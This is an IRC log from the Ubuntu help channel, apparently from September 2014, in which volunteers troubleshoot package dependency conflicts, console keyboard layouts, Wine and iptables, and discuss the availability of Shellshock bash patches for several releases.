[00:01] <sachina_> I tried to add a line to the control file for the overlay-scrollbar package "Multi-Arch: allow", but I get an error when using dpkg-deb -b: "'allow' is not allowed for foreign/allowed/same/no in quadstate field"
[00:01] <sachina_> This bug report I think is talking about my same problem: 'allow' is not allowed for foreign/allowed/same/no in quadstate field
[00:01] <sachina_> Oh, wrong paste, sorry: https://bugs.launchpad.net/ubuntu/+source/overlay-scrollbar/+bug/1262022
[00:01] <EriC^^> sachina_: i think DF is compiled for 32bit systems and it can't use 64bit libraries
[00:02] <sachina_> Yes, DF is 32 bit only
[00:02] <sachina_> I have all the 64 bit libs installed
[00:02] <sachina_> but I can support concurrent install of the 32 but libs
[00:02] <sachina_> and most of the 32 libs installed just fine
[00:02] <sachina_> it's just these last few ones
[00:02] <sachina_> that are having the trouble described in that bug report
[00:03] <EriC^^> sachina_: did you install ia32-libs ?
[00:04] <sachina_> EriC^^: as far as I can tell, ia32-libs is no longer supported on Trusty
[00:04] <sachina_> But I did install some other libs that were suggested instead, on the advice of someone here, earlier
[00:04] <sachina_> It didn't seem to fix this problem, but it probably helped for the future
[00:05] <EriC^^> sachina_: oh ok
[00:05] <BTJustice> My motherboard died so I had to replace it with a different model.  My keyboard and mouse are extremely slow now.  How can I refresh the drivers in Ubuntu?  Is there some way to scan for hardware changes, remove hardware no longer needed, and install hardware that is needed or has changed?
[00:05] <sachina_> I may just need to learn about how to use control files for debian packages, at this point, if this approach is viable
[00:07] <EriC^^> sachina_: you probably already saw this but http://www.bay12forums.com/smf/index.php?topic=98980.0
[00:11] <sachina_> EriC^^: thank you, yes, it helped me solve the problem I was having at first when sound didn't work
[00:11] <sachina_> EriC^^: But it doesn't seem to have help about this problem with overlay-scrollbar, unless I missed something
[00:14] <BTJustice> My motherboard died so I had to replace it with a different model.  My keyboard and mouse are extremely slow now.  How can I refresh the drivers in Ubuntu?  Is there some way to scan for hardware changes, remove hardware no longer needed, and install hardware that is needed or has changed?
[00:15] <Artemis3v> BTJustice, you normally do nothing of the sort, in fact its normal to take your hd and put it elsewhere and just work
[00:16] <Eremo> scrollback command not found also... did i broke the distro?
[00:16] <Artemis3v> BTJustice, it might be interesting to check bios settings
[00:16] <BTJustice> Yeah Iii   aaammm ouutt f iiddes.
[00:17] <BTJustice> Yeah I am out of ideas.
[00:20] <sachina_> Oh, hah, I didn't read my own error message for dpkg-deb.  "'allow' is not allowed for foreign/allowed/same/no in quadstate field"  I needed to use "allowed" keyword, not "allow"
[00:20] <sachina_> rebuilding the package works now at least
[00:22] <Paquito> hello
[00:23] <daftykins> hi
[00:23] <pdayton> Is there a bash update for 11.04?
[00:23] <daftykins> !11.04
[00:23] <daftykins> that distro is almost 2 years dead.
[00:24] <daftykins> s/distro/release/
[00:24] <daftykins> pdayton: it will not get updated
[00:25] <Eremo> Do anyone know's why my Trusty LTS won't recognize the setxkbmap command? sudo: setxkbmap: command not found
[00:25] <daftykins> wow you're still on that
[00:25] <daftykins> maybe that command is deprecated
[00:25] <Eremo> yeah and googling it still..
[00:25] <Eremo> nonstop
[00:25] <Eremo> mmm the thing is
[00:25] <Eremo> i used it 3 hours ago
[00:25] <Eremo> in same distro..
[00:26] <daftykins> same distro, but version?
[00:26] <Eremo> also try keyboard-configuration , reconfigure it
[00:26] <Eremo> should be same version, i havent updated or downgraded
[00:26] <EriC^^> !find setxkbmap
[00:26] <Eremo> or maybe apt-get install -f did
[00:26] <daftykins> so your other install was 14.04 too?
[00:27] <daftykins> i vote the middle one
[00:27] <daftykins> :>
[00:27] <Eremo> doesnt exist
[00:27] <EriC^^> Eremo: try to sudo apt-get install x11-xkb-utils
[00:27] <EriC^^> !info x11-xkb-utils
[00:27] <kandinski> where should I look for updates on the fix for CVE-2014-7169 (the second bash vulnerability after the first one was patched)?
[00:27] <Eremo> yes, according to the ISO , its 14.04, has been all the time
[00:28] <haza-w> kandinski: by "updates", do you mean news, or updated software?
[00:28] <EriC^^> Eremo: it should be in the repos
[00:28] <kandinski> haza-w: I meant news. Patch is not yet on repos for 12.04
[00:29] <kandinski> let me see which mirror I'm using...
[00:29] <Eremo> you mean, by default, it should find the command, right?
[00:29] <kandinski> ah, could rackspace mirrors be out of date?
[00:29] <EriC^^> Eremo: no i mean the x11-... shoud be there
[00:29] <EriC^^> Eremo: but yes, i have the command too, by default
[00:29] <kandinski> GNU bash, version 4.2.25(1)-release
[00:29] <Eremo> installing package
[00:29] <Eremo> somehow it disspeared O.o
[00:29] <EriC^^> Eremo: did you install via minimalcd or something?
[00:29] <Eremo> vmware
[00:30] <haza-w> kandinski, a security update was released to precise-security an hour ago
[00:30] <Eremo> iso image mounted in windows
[00:30] <Pyro_Killer> minimalist Ubuntu is only Ubuntu
[00:30] <haza-w> that should have patched the vulnerability
[00:30] <kandinski> haza-w: thanks
[00:30] <haza-w> 4.2-2ubuntu2.3
[00:30] <Eremo> why eric?
[00:30] <haza-w> np :)
[00:30] <EriC^^> Eremo: caues you get to choose what packages to install in the minimalcd, thought maybe it was cause of that
[00:31] <Eremo> but i promise you
[00:31] <Eremo> i used it earlier
[00:31] <kandinski> 4.2-2ubuntu2 here
[00:31] <Eremo> i dont know why it dissapear
[00:31] <Pyro_Killer> so I installed Ubuntu minimalist and added xubuntu to the tasksel screen, however when I press upwards in the terminal it doesn't display the previous command, I have never had this issue before...
[00:31] <Eremo> anyway, no i downloaded the ISO without any options
[00:32] <kandinski> haza-w, my laptop is on saucy, and no update yet either. I'll just check every half hour.
[00:32] <Eremo> EriC^^ i think it worked, now it recognizes command and i read: Cannot open display "default display"
[00:33] <EriC^^> Eremo: this is a gui?
[00:33] <Peng> kandinski: saucy isn't supported anymore...
[00:33] <EriC^^> or server ubuntu
[00:33] <Sleepnbum> welp, don't try clicking "something else" and "continue" before the screen finishes loading when installing ubuntu
[00:33] <Sleepnbum> totally fucked my drive
[00:33] <daftykins> only LTS releases are getting patched right now
[00:33] <daftykins> 10.04, 12.04, 14.04
[00:33] <Sleepnbum> it went with the default and didn't listen to my "something else" preference
[00:33] <Eremo> EriC^^ server ubuntu
[00:34] <haza-w> kandinski: saucy is end-of-life as of July, no more package updates
[00:34] <kandinski> haza-w: ok, time to move to trusty
[00:35] <EriC^^> Eremo: i think it needs to be run from an Xsession
[00:35] <Eremo> its very weird
[00:35] <Eremo> i used this same command few hours ago
[00:35] <Eremo> and it worked out
[00:35] <haza-w> there's definitely an update in precise-security, you can install it yourself if you want: https://launchpad.net/ubuntu/precise/+package/bash
[00:35] <Eremo> i had even the ñ key
[00:35] <haza-w> ^ kandinski
[00:36] <EriC^^> Eremo: try to run the command not as root
[00:36] <Eremo> syntas was sudo setxkbmap -layout 'es,es' -model pc105
[00:36] <Eremo> syntax
[00:36] <Eremo> ok
[00:37] <Eremo> same message
[00:37] <sachina_> Alright, I guess if Dwarf Fortress works that's good enough for me.  None of the stuff I've tried to resolve those probably minor errors has worked.  Thanks for all your help ,ubuntu channel.
[00:38] <Eremo> mmm i manually editted before /etc/default/keyboard before, trying to fix keyboard... could has something to do?
[00:38] <EriC^^> Eremo: don't think so
[00:39] <Eremo> EriC i think i could fix this, without using that command
[00:39] <EriC^^> Eremo: theres loadkeys
[00:39] <Eremo> the only thing i need to fix its the ñ key and the áéíóú keys
[00:40] <EriC^^> Eremo: try sudo apt-get install console-data
[00:40] <Eremo> ´
[00:40] <Eremo> oki
[00:40] <Eremo> unable to locate package
[00:40] <EriC^^> !info console-data
[00:41] <EriC^^> Eremo: add universe to your repos
[00:41] <Eremo> optional
[00:41] <Eremo> oki
[00:41] <Eremo> ill tell u when done
[00:44] <Eremo> looks like theyre already added , that lines
[00:44] <Eremo> deb http://us.archive.ubuntu.com/ubuntu trusty universe
[00:45] <shumacca0001> Anyone patched there ubuntu servers for shellshock yet?
[00:49] <EriC^^> Eremo: never used it before
[00:49] <EriC^^> ( console-data )
[00:49] <EriC^^> maybe someone would chime in on the interface setup of it
[00:50] <tafa2> shumacca0001 yeah
[00:53] <Eremo> ok so console-data its installed now
[00:54] <EriC^^> Eremo: now you need to use loadkeys
[00:54] <EriC^^> go to /usr/share/keymaps , and check that what you want is there
[00:55] <matthoiland> shumacca0001: Not sure if there's a working shellshock patch yet
[00:56] <samthewildone> is the audio.conf created by default if I remove it ?
[00:57] <Eremo> rebooting, lets see if its finally ok
[00:57] <Eremo> i did sudo loadkeys es
[00:57] <Guest40907> Can I install global menu in ubuntu mate?
[00:57] <shumacca0001> clear
[00:57] <EriC^^> Eremo: did it work after the command?
[00:58] <Eremo> almost
[00:58] <Eremo> something has changed but
[00:58] <Eremo> ñ gives me ;
[00:58] <Eremo> and all signs are different
[00:59] <Eremo> i think i have english xDD
[00:59] <EriC^^> Eremo: i think you have to specify the map, like sudo loadkeys /usr/share/keymaps/.......es.kmap.gz
[00:59] <Eremo> no, it actually reports it
[00:59] <Eremo> and its ok
[01:00] <Eremo> it found the file and report it: es.kmap.gz
[01:00] <EriC^^> try find /usr/share/keymaps -iname "es.kmap.gz"
[01:00] <EriC^^> oh ok
[01:00] <EriC^^> maybe there's more than 1?
[01:00] <Eremo> ill check about that
[01:02] <shumacca0001> exit
[01:04] <Eremo> yeah there was 2 of them, none its the good one...
[01:06] <Daekdroom> Is there any way to figure out which codec is Ubuntu using for the A2DP profile for Bluetooth?
[01:06] <LuchaLibre> Hi! I'm trying to run an executable file in Linux, I did the chmod  but when i execute it, nothing happens. Help?
[01:07]  * YoukuntYou would love to have his systray back
[01:08] <EriC^^> LuchaLibre: what are you trying to execute?
[01:09] <LuchaLibre> EriC^^: YGOPro's Linux build
[01:10] <EriC^^> ok what do the installation instructions say?
[01:10] <LuchaLibre> Run the executable.
[01:10] <EriC^^> nothing else before that?
[01:10] <LuchaLibre> Nein.
[01:10] <haza-w> do you get any output whatsoever when you run the command?
[01:10] <EriC^^> ok so in a terminal what are you typing to execute it?
[01:11] <LuchaLibre> Haza, no I didn't
[01:11] <LuchaLibre> I marked it as executable and I clicked run in terminal
[01:11] <LuchaLibre> nothing happened
[01:12] <LuchaLibre> i also clicked run
[01:12] <EriC^^> LuchaLibre: open a terminal, cd to the directory, and type ./<executable name>
[01:12] <somsip> LuchaLibre: have you followed the steps in the last comment here? http://www.reddit.com/r/yugioh/comments/2bngxb/does_anybody_know_how_to_make_devproygopro_work/
[01:13] <LuchaLibre> EriC^^: It says "bash: ./: Is a directory
[01:13] <LuchaLibre> "
[01:14] <EriC^^> LuchaLibre: you are in the directory of the executable?
[01:14] <userRR> hi guys I have a hp dvr spy watch which can take photo / video -- how can I get the photos / videos to show up on linux since the driver is for windows 7?
[01:14] <LuchaLibre> EriC^^: Yes
[01:14] <EriC^^> what exactly are you typing?
[01:16] <LuchaLibre> EriC^^: http://paste.ubuntu.com/8429419/
[01:16] <adam_> hi
[01:16] <EriC^^> LuchaLibre: mind the space between ./ and y...
[01:16] <userRR> it's basically a urb drive, I mean it charges but how do I get it to show up as a drive?
[01:16] <adam_> anyboy tell me how to install wine and run it on my computer?
[01:17] <userRR> if you are using ubuntu use the software centre, search for WINE
[01:17] <LuchaLibre> ah tried again it says I'm missing a lib
[01:17] <userRR> adam_: then insall wine tricks, it will help you get things working in wine.
[01:17] <EriC^^> LuchaLibre: which lib?
[01:17] <somsip> LuchaLibre: as it says in that link I posted...
[01:17] <adam_> im using Xubuntu
[01:17] <LuchaLibre> libevent_pthreads-2.0.so.5 this one
[01:18] <delinquentme> ok so I just compiled a file ... now IM tyrying to sort out where I compiled it to
[01:18] <LuchaLibre> somsip: Sorry I didn't notice somehow. XD
[01:18] <delinquentme> advice?  ... I didn't pass it any additional flags
[01:18] <EriC^^> !find libevent_pthreads-2.0
[01:18] <trism> delinquentme: a.out maybe?
[01:18] <delinquentme> trism, this is a command I run?
[01:19] <adam_> im using Xubuntu 14 and was wandering how to load up wine after i installed it.
[01:19] <trism> delinquentme: it would be a file in the current directory, so: ./a.out; could check ls first of course
[01:19] <LuchaLibre> EriC^^: I'm installing the missing lib now.
[01:19] <EriC^^> LuchaLibre: ok
[01:20] <LuchaLibre> EriC^^: Houston we have lift off.
[01:20] <EriC^^> hehe, great :)
[01:20] <LuchaLibre> Thanks :D
[01:21] <EriC^^> no problem :D
[01:21] <adam_> how do i run WINE after i downloaded it on Xubuntu
[01:21] <LuchaLibre> This channel is better than proprietary support :D
[01:21] <LuchaLibre> adam_: Right click the .exe you want to run and select wine program loader
[01:22] <yuriks> Hi. I'm installing Ubuntu Server 14.04.1 LTS after having done many 14.04 installs in the past. It seems like the installer was changed in this version: the Software Selection menu at the very end of the install has many more options now
[01:22] <yuriks> what does "Basic Ubuntu Server" mean in that menu?
[01:22] <LuchaLibre> Take care, folks.
[01:24] <userRR> hi guys -- I have a hp drv spy watch and I can charge it, but I can't see a usb drive (and the driver is for windows 7). But I'm sure it must work. Anything I can do to check or make it show up?
[01:24] <adam_> LuchaLibre when it installed it just put a file folder on the desktop that says WINE 1.6.2. It has lots of files in it but i dont see one that will run wine
[01:24] <Eremo> why isnt this working? sudo apt-get install build-esential |& tee logt.txt   // after this, logt.txt its clear...
[01:24] <Eremo> adam_ luchalibre left
[01:24] <Blue1> I am having difficulty getting this nic to work:  02:03.0 Ethernet controller: Realtek Semiconductor Co., Ltd. RTL-8100/8101L/8139 PCI Fast Ethernet Adapter (rev 10)
[01:24] <EriC^^> Eremo: you're missing an s on build-essential
[01:25] <EriC^^> ( if you pasted what you used )
[01:25] <samthewildone> If my audio.conf file from /etc/bluetooth/ is removed will a new one come up ?
[01:25] <Eremo> mmm if i use essentialS there is a problem locating the package
[01:25] <adam_> Eremo do you know how i can get WINE running after i downlaod it?
[01:25] <Eremo> but if i use essential i have corrupt package... humm dont know what to choose :D
[01:26] <EriC^^> Eremo: no i mean you have it as build-esential
[01:26] <Eremo> yeah but look
[01:26] <Eremo> if i apt-get install build-essentials
[01:26] <Eremo> untable to locate package
[01:26] <adam_> Eremo it just put a file folder on the desktop . i dont know which file in it runs it
[01:26] <EriC^^> Eremo: i think it's build-essential
[01:27] <Eremo> adam_ uhmmm there should be an exec to be placed in BIN
[01:27] <Eremo> cant tell you for sure, if it was unpackaged automatically, there should be a command to run it adam
[01:28] <EriC^^> Eremo: you could use sudo apt-get install build-essential &> logt.txt , instead btw
[01:28] <Eremo> yeah EriC^^ , but anyway cant install it
[01:28] <Eremo> oki
[01:29] <EriC^^> Eremo:  try to reinstall it
[01:29] <EriC^^> Eremo: sudo apt-get install --reinstall build-essential
[01:30] <Eremo> EriC^^ still bad
[01:30] <Eremo> ill paste the problem
[01:30] <EriC^^> Eremo: ok
[01:30] <Eremo> !paste
[01:30] <Eremo> http://paste.ubuntu.com/8429496/
[01:30] <Eremo> thats the result
[01:31] <Eremo> i try to install libc6-dev , and libc6, but cant
[01:31] <az6667> urm is this channel appropriate for asking questions/issues with usn-2363-1 (cve-2014-7169 fix)?
[01:32] <adam_> Eremo Im very new to Xubuntu and how do i place the .exe in BIN?
[01:34] <EriC^^> Eremo: maybe try sudo apt-get install -f
[01:34] <Eremo> mmm ubuntu directory i think its: /usr/bin
[01:34] <Eremo> but cant be sure
[01:34] <Eremo> ok eric
[01:34] <Eremo> nothing upgraded or moved
[01:35] <Blue1> I am having difficulty bringing up a 02:03.0 Ethernet controller: Realtek Semiconductor Co., Ltd. RTL-8100/8101L/8139 PCI Fast Ethernet Adapter (rev 10) can someone help?
[01:35] <Blue1>
[01:36] <EriC^^> Eremo: why can't you install libc6-dev ?
[01:36] <adam_> how do you put a exe into Bin
[01:37] <Eremo> exactly the same , but this time it points to libc6
[01:38] <Eremo> no sorry
[01:38] <Eremo> its not exact the same
[01:38] <Eremo> the message is
[01:38] <Guest39046> dicck
[01:38] <Guest39046> #noswag
[01:38] <Eremo> Depends: libc6 (= 2.19-0ubuntu6.3) but 2.19.-11 is to be  installed
[01:39] <Guest39046> listen
[01:39] <Guest39046> j
[01:39] <Guest39046> __________
[01:39] <Guest39046> s
[01:39] <az6667> usn-2363-1 is a fix for cve-2014-7169 but an ubuntu 14.04.1 LTS box is still vulnerable after installing bash 4.3.7ubuntu1.2
[01:40] <az6667> ubuntu 12.04.5 LTS is unaffected after installing it’s bash 4.2-2ubuntu2.3
[01:40] <Guest39046> there is like nobody here
[01:40] <pavlos> Blue1, do you have the nictools-pci installed?
[01:41] <haza-w> az6667: https://bugs.launchpad.net/ubuntu/+source/bash/+bug/1374207
[01:41] <Blue1> pavlos: no but I can install it
[01:41] <az6667> ah thanks bot
[01:41] <az6667> thanks haza
[01:41] <haza-w> np
[01:41] <Blue1> pavlos: installed
[01:42] <pavlos> Blue1, does lspci 'see' the card. What is the dmesg output
[01:42] <az6667> ah very good, ~1 hr from a fix. cheers
[01:43] <Blue1> pavlos: yes:  02:03.0 Ethernet controller: Realtek Semiconductor Co., Ltd. RTL-8100/8101L/8139 PCI Fast Ethernet Adapter (rev 10)
[01:44] <pavlos> Blue1, then you need to play with ipconfig up/down and see if it picks up an ip. I have to leave for 2 hours, I hope someone else can help
[01:44] <haza-w> I was about to compile myself, but 197MB of unsatisfied dependencies on this shoddy internet connection...
[01:44] <haza-w> :-/
[01:45] <Blue1> pavlos: thank I'll re ask the question later
[01:46] <az6667> i had to compile the osx one from source. still waiting on the latest patch from gnu so i can roll that out too
[01:48] <Eremo> Hello , im having a problem installing build-esential packagen on ubuntu server 14.04. PASTE: http://paste.ubuntu.com/8429496/
[01:48] <tafa2> apt-get clean
[01:49] <tafa2> apt-get update
[01:49] <tafa2> apt-get install -f build-essential
[01:49] <Eremo> ok , ill tell u now
[01:50] <Eremo> same problem
[01:50] <EriC^^> Eremo: try autoremove
[01:50] <Eremo> that? autoremove?
[01:51] <Eremo> sounds bad
[01:51] <Eremo> xD
[01:51] <EriC^^> Eremo: no, sudo apt-get autoremove
[01:51] <Eremo> ok done
[01:51] <Eremo> 38 not upgraded
[01:51] <Eremo> 0 moved
[01:51] <Eremo> 0 upgraded
[01:53] <Eremo> still same issue
[01:54] <haza-w> what about if you try to install the dependencies manually?
[01:55] <haza-w> sudo apt-get install g++ libc6-dev
[01:55] <Eremo> lready try
[01:55] <Eremo> already
[01:55] <Eremo> give me 1 min. ill paste
[01:56] <Vivekananda_y510> hi ubuntu. is there a way that tcp wrappers can be disabled  not just deleting the rules ? I am curious
[01:59] <ndirikufunda> how can i creat /var/spool/mail/user
[01:59] <ndirikufunda>  just mkdir?
[01:59] <ndirikufunda> and what permissions should it have?
[01:59] <ndirikufunda> i wan't to use it with procmail
[02:00] <ndirikufunda> fetchmail, mutt, procmail, msmtp
[02:00] <ndirikufunda> ?
[02:01] <Eremo> again permision denied using &>
[02:01] <Eremo> this is starting to getting me mad
[02:01] <Eremo> to make the same thing i have to change the method 3 times?
[02:02] <Eremo> i just want to output on a text file!!!1
[02:02] <Eremo> ive tried |& tee document.txt and &> document.txt
[02:02] <Eremo> someone knows why i get permission denied, using sudo in the command?
[02:03] <trism> Eremo: what directory are you in?
[02:03] <Eremo> the same one
[02:03] <Eremo> mmm wait
[02:03] <trism> Eremo: I don't know what directory that is
[02:03] <Eremo> aahhh thats it
[02:03] <ndirikufunda> will procmail make my mailbox in the spool and set the correct permissions?
[02:03] <trism> Eremo: try putting it in /tmp/ or something
[02:03] <Eremo> its because of that
[02:03] <EriC^^> yeah, when you use pipes it a new command and sudo doesn't go there
[02:03] <Eremo> i was in /usr, sorry
[02:04] <ndirikufunda> anyone here know mutt well?
[02:04] <Eremo> i see
[02:04] <haza-w> Eremo: if you want to output to a file that requires privileges, you need
[02:04] <haza-w> command | sudo tee filename.out
[02:04] <haza-w> you can then &>/dev/null to get rid of stdout/stderr
[02:04] <ndirikufunda> im procmail's rc should * ^TOmutt-user be my username?
[02:05] <linwiz> what would the command be to generate the *SUM* files @ http://releases.ubuntu.com/12.04/
[02:05] <EriC^^> linwiz: on the iso you downloaded?
[02:06] <Eremo> if i try to install dependency manually : http://paste.ubuntu.com/8429648/
[02:06] <linwiz> Well I actually want to create *SUM* files just like the ones at that URL, but I want to do it on my own files
[02:07] <trism> Eremo: what is: apt-cache policy libc6;
[02:07] <EriC^^> linwiz: yeah i had a hunch that's what you wanted to do,
[02:07] <spearhead> linwiz, man md5sum
[02:07] <Eremo> intalled 2.9-11
[02:07] <EriC^^> spearhead: he/she wants to make a md5sum of his/her whole installation
[02:08] <Eremo> it looks like older version than what is required
[02:08] <linwiz> I didn't realize md5sum would do all of that, sorry.
[02:08] <trism> Eremo: no I want to see the repos
[02:08] <Eremo> ook
[02:08] <spearhead> linwiz, do you want to create a sum of every file on your system?
[02:08] <spearhead> or just specific ones?
[02:08] <linwiz> no, just in one directory
[02:09] <EriC^^> linwiz: what exactly are you trying to do?
[02:09] <Eremo> this is ->http://paste.ubuntu.com/8429657/
[02:09] <EriC^^> linwiz: nevermind
[02:09] <trism> linwiz: just pass the file names to md5sum: md5sum *.iso; or whatever, then you can pipe it to a file
[02:10] <linwiz> I'm sorry, I'm not trying to be difficult.
[02:10] <Eremo> thats the sources of the package?
[02:10] <EriC^^> linwiz: if you want a list of the md5sum of files in a directory you could do "find . -exec md5sum {} \;"
[02:10] <spearhead> linwiz, if you want to do each file individually then you can write a loop if you want all the files together... I'm not sure how to do that except to create a zip or tar file...
[02:11] <EriC^^> linwiz: or if there are no directories, only files, you could do "md5sum *"
[02:11] <EriC^^> linwiz: it's fine, i thought you meant something else, like you had a custom ubuntu installation and wanted to make md5sum like in the releases. website
[02:11] <trism> Eremo: yeah you have a libc6 installed from sid or something, you could try: sudo apt-get install libc6/trusty; to see if you can get back to the repo version. check that it doesn't try to remove anything
[02:12] <linwiz> The second part of that, yes. " wanted to make md5sum like"
[02:12] <linwiz>                 in the releases. website
[02:12] <trism> Eremo: you could also specify the version number, libc6=2.19-0ubuntu6.3 but it doesn't tend to be as smart if it has to downgrade other packages
[02:13] <EriC^^> linwiz: ok if the folder only has files which are not hidden, you can use "md5sum * > list"
[02:13] <Eremo> can i remove package and install older?
[02:13] <linwiz> I can see how to get the MD5SUMS file, but the rest, metalink pgp etc, not sure there
[02:14] <spearhead> linwiz, how many files are in the directory and do you want them all to be summed together or do you want to get the sum of each individual file?
[02:14] <Eremo> ill try first thing u said trism
[02:14] <trism> Eremo: no, libc6 is used by everything. at least not with apt. you could do it directly with dpkg, but I would try to get apt to do it first
[02:14] <linwiz> a few files, individual
[02:14] <Eremo> downloading trusty version
[02:15] <Eremo> hey it worked, now policy show previous version
[02:16] <trism> Eremo: excellent, hopefully build-essential will install now
[02:16] <Eremo> heeeey!! :D its installing it!
[02:16] <Eremo> trism can u help me in one more thing pleasE?
[02:17] <Eremo> lets see if we could fix this for once, my keyboard doesnt have the right config.. and we have tried a lot of ways
[02:18] <haza-w> https://bugs.launchpad.net/ubuntu/+source/bash/+bug/1374207
[02:18] <haza-w> Trusty has been patched
[02:18] <Eremo> by the way , build-essential got installed , thanks
[02:20] <haza-w> it's in trusty-security but not yet in trusty-updates
[02:22] <trism> Eremo: I don't really switch from the us config, so I'm not sure I'd be of much help if the text entry settings aren't doing it for you
[02:22] <seanz> Greetings. Is there a way to display what version a package will be upgraded to?
[02:23] <trism> seanz: apt-cache policy package-name
[02:24] <seanz> trism: Thanks!
[02:25] <Eremo> ok , i want to set up spanish settings, but cant
[02:27] <Vivekananda_y510> hi ubuntu. is there a way that tcp wrappers can be disabled  not just deleting the rules ? I am curious
[02:27] <trism> Eremo: did you add it in Text Entry? I had a problem once where I couldn't switch the layouts in the keyboard indicator because I had accidently disabled the gnome settings daemon keyboard plugin, don't know if that is your issue (I would select them but it wouldn't change)
[02:28] <Vivekananda_y510> can someone also tell me what is wrong with the command iptables -I INPUT -s <IP_ADDRESS>/16 -p tcp -dport 22 -j ACCEPT
[02:28] <trism> Eremo: which can be enabled in dconf-editor org/gnome/settings-daemon/plugins/keyboard
[02:28] <Eremo> trism i dont have X , i have server distribution
[02:28] <spearhead> should be -A INPUT to add to the INPUT table
[02:29] <spearhead> Vivekananda_y510, ^
[02:29] <Eremo> command line only
[02:29] <Vivekananda_y510> okay
[02:29] <trism> Eremo: so you want to say the layout in the tty?
[02:29] <Eremo> ive been using loadkeys es , eriC^^ was trying to help me out, but we couldnt
[02:30] <Eremo> what is tty? :S
[02:30] <Vivekananda_y510> spearhead, it says Bad argument 22 to me
[02:30] <trism> Eremo: are you sitting at the computer typing, or are you connected through ssh or something?
[02:31] <Eremo> Im sitting in my computer, why do you ask?
[02:31] <spearhead> Vivekananda_y510, --dport 22
[02:31] <Eremo> at* my computer
[02:31] <spearhead> make sure you have 2 - in front of dport
[02:31] <Vivekananda_y510> oo okay sorry spearhead
[02:31] <spearhead> np
[02:32] <trism> Eremo: how about the answer here: http://askubuntu.com/questions/155424/changing-tty-keyboard-layout-on-a-server
[02:33] <trism> Eremo: possibly the second one
[02:34] <Eremo> didnt worked
[02:34] <Eremo> im rebooting
[02:34] <Eremo> just in case
[02:36] <Eremo> nope look, when i use that tool to reconfigure, its like a menu, where i have to choose what kind of keyboard i have and what language, it changes my config. but its not the right one
[02:36] <Eremo> when i press Ñ this key, it prompts somehow different with this prompt: (arg.1  )
[02:36] <Eremo> its weird.. so i have to press enter to go back to the regular prompt
[02:37] <Eremo> and thats supposed to be the spanish keymap
[02:37] <cortexman> svn: E000036: Can't move '/home/mingus/Projects/ccnlab_sims/.svn/tmp/svn-zTEQxA' to '/home/mingus/Projects/ccnlab_sims/perception/fg/wts/n_test=50-create_dataset=false-wt_scale_init=false-wts_subdir=wts-log_dir=log-adapt_rel=false-adapt_abs=false-n_train=500-lrate=.03-new=y.00_0250.wts.gz': File name too long
[02:37] <EriC^^> Eremo: odd, that's like pressing alt+1
[02:37] <cortexman> any ideas?
[02:37] <Eremo> yes, exactly
[02:37] <Eremo> same result
[02:39] <Eremo> also this doesnt work á ´ é
[02:40] <Eremo> the config that worked me once fine to me was
[02:40] <cortexman> the path plus file name is 205 characters long
[02:40] <cortexman> why is that a problem?
[02:40] <Eremo> setxkbmap -layout 'es,es' -model pc105 , but it wont work again that command
[02:41] <Eremo> it worked good once, when ubuntu installation was fresh, this morning
[02:41] <Eremo> but somehow distro has changed a lot since than a dissapointed me
[02:41] <Eremo> and frustrated me :3
[02:43] <Eremo> probably i dissapointed it too as root user xD
[02:45] <SchrodingersScat> cortexman: and the file name is only 153, yeah?
[02:45] <cortexman> i fixed it by making a short directory name in root and checking out there
[02:45] <cortexman> i think it's due to having an encrypted home drive. not sure why.
[02:51] <haza-w> Question: If we're about to hit utopic, what happens when we run out of alphabet?
[02:51] <haza-w> :-/
[02:51] <haza-w> although I guess there never was an A release
[02:52] <SchrodingersScat> AA Aardvark
[02:52] <haza-w> BB...
[03:02] <ninad> hi
[03:03] <ninad> I need someone to tell me how to mount lvm partition in ubuntu
[03:04] <SchrodingersScat> !lvm
[03:04] <nestle33> I ran apt-get update;apt-get upgrade because of this new bash security vulnerability. however since then ive re-ran apt-get update;apt-get upgrade and its once again asking to update bash. is this normal? this has happened like 3 times now.. on one of my systems i just went from 4.3-7ubuntu1.2 to 4.3-7ubuntu1.3 now
[03:04] <zzxc> Alright so I'm sure this is pop up all over the place. Is there a way to test for the shellshock bug?
[03:05] <SchrodingersScat> nestle33: I had at least two in two days
[03:05] <SchrodingersScat> !shellshock
[03:05] <nestle33> what version are you running for bash? like dpkg -l|grep bash
[03:06] <zzxc> Was it actually successfuly patched. I thought there was already a easy work around the patch.
[03:06] <nestle33> well thanks for confirming im not the only one having to keep updating bash. i was worried maybe my system was compromised
[03:08] <xangua> at least you are not one of those worried only about shellbash but using unsupported releases like 10.10, 13.04, 12.10, etc.
[03:08] <zzxc> nestle33: 4.2.2
[03:09] <zzxc> nestle33: Also I saw this earlier. Might be a good way for checking if you've had ingress
[03:09] <zzxc> http://draios.com/shellshock-sysdig/
[03:13] <ninad> @zzxc give link is really helpful , but newer versions of OS has good protection against heartbleed
[03:13] <ninad> *given
[03:18] <linguini> $ sudo apt-get install postfix # gives me a curses dialog.  If I click Cancel, it comes right back ?!
[03:19] <linguini> Is it possible to Cancel such a dialog?  Must I resort to kill?
[03:22] <bkjr> "Must I resort to kill?" -linguini
[03:24] <bkjr> linguini: why do you want to cancel it?
[03:24] <bkjr> if you don't want to configure it now, maybe select "no configuration"?
[03:26] <linguini> bkjr: I want to create a fully-repeatable installation script.
[03:26] <linguini> bkjr: Plus, the fact that I can't cancel it makes me want to cancel it very badly.  It's irritating for it to try to overrule me.
[03:27] <bkjr> ok, checkout apt-get's -c and -o flags
[03:27] <linguini> I didn't select "no configuration" because I thought that would install postfix.  Instead of installing it, I want to cancel, and see if there is some way to install it without the curses-based dialog.
[03:28] <bkjr> i think you can give it a config file
[03:29] <bkjr> or as parameter in -o's case
[03:29] <linguini> bkjr: Thanks.  How do I stop the curses dialog?  Cancel doesn't work...
[03:31] <bkjr> yeah, i'm just assuming if you give the options in the command the curses won't ask you things. i haven't tested it
[03:31] <linguini> No, I mean the current curses box -- it won't go away.  I can't even get a terminal prompt.
[03:32] <bkjr> choose on option and click ok
[03:32] <bkjr> i mean choose ok
[03:32] <bkjr> if you do "no configuration" it doesn't ask you anything anymore
[03:32] <linguini> bkjr: I see, so the "Cancel" is just an illusion of choice..
[03:33] <yzx> hello everyone.I want to show more file information in Basic properties page.So how can I do?
[03:33] <bkjr> i don't think it's deliberate, just broken
[03:35] <bkjr> yzx: what page are you talking about?
[03:35] <sgtsaughter> hey everyone, I'm having trouble with an ubuntu live cd i get a black screen when i select either install or try ubuntu...it goes to a black screen with a blinking white cursor and then eventually just freezes
[03:36] <bkjr> yzx, please use this channel
[03:36] <bkjr> what information do you need?
